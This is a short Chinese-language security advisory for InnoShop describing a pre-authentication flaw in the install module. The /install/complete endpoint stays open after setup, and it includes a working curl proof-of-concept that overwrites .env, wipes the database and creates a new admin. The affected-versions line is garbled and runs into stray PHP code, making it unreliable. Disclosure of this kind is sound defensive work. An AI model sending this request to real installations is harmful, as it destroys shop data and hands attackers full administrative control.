### 漏洞概述 **标题**:[Security]Pre-auth Application Reinstall leads to full system takeover #314 **描述**:InnoShop 的安装模块 (`innopacks/install`) 存在一个关键的预认证漏洞。在应用完全安装后,`/install/complete` 端点仍然保持可访问,且没有任何身份验证或 CSRF 保护。未认证的攻击者可以发送单个 POST 请求来覆盖 `.env` 文件、擦除整个数据库(通过 `migrate:fresh`),并创建一个新的管理员账户,从而实现完整的系统接管。 ### 影响范围 * **受影响版本**:InnoShop loadRoutesFrom(__DIR__.'/../routes/web.php'); $this->loadViewsFrom(__DIR__.'/../resources/views', 'install'); $this->loadTranslationsFrom(__DIR__.'/../lang', 'install'); } ``` ### 利用代码 (POC) 以下 `curl` 命令足以利用此漏洞: ```bash curl -X POST "http:///install/complete" \ -H "Content-Type: application/x-www-form-urlencoded" \ -d "db_type=mysql&db_hostname=DB_HOST&db_port=3306&db_name=DB_NAME&db_username=DB_USER&db_password=DB_PASSWORD" ``` **预期结果**:HTTP 200 响应,包含 `{"success": true, ...}`。攻击者随后可以使用注入的凭据登录到 `/panel`。